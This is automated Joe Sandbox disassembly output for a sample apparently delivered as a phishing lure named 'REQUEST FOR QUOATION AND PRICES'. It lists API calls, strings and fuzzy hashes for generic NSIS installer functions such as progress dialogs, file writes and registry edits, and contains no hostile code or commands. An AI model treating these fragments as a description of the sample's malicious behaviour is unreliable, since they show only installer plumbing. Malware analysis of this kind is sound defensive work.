Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNEL32(0040BE78,?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNEL32(?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 0040617E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 00406208

Strings

*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D80,?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D80,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409580,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409580,00409580,00000000,00000000,00409580,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNEL32(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A580,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,00436800,?,771B2EE0,00405792,?,00436800,771B2EE0,00434000), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
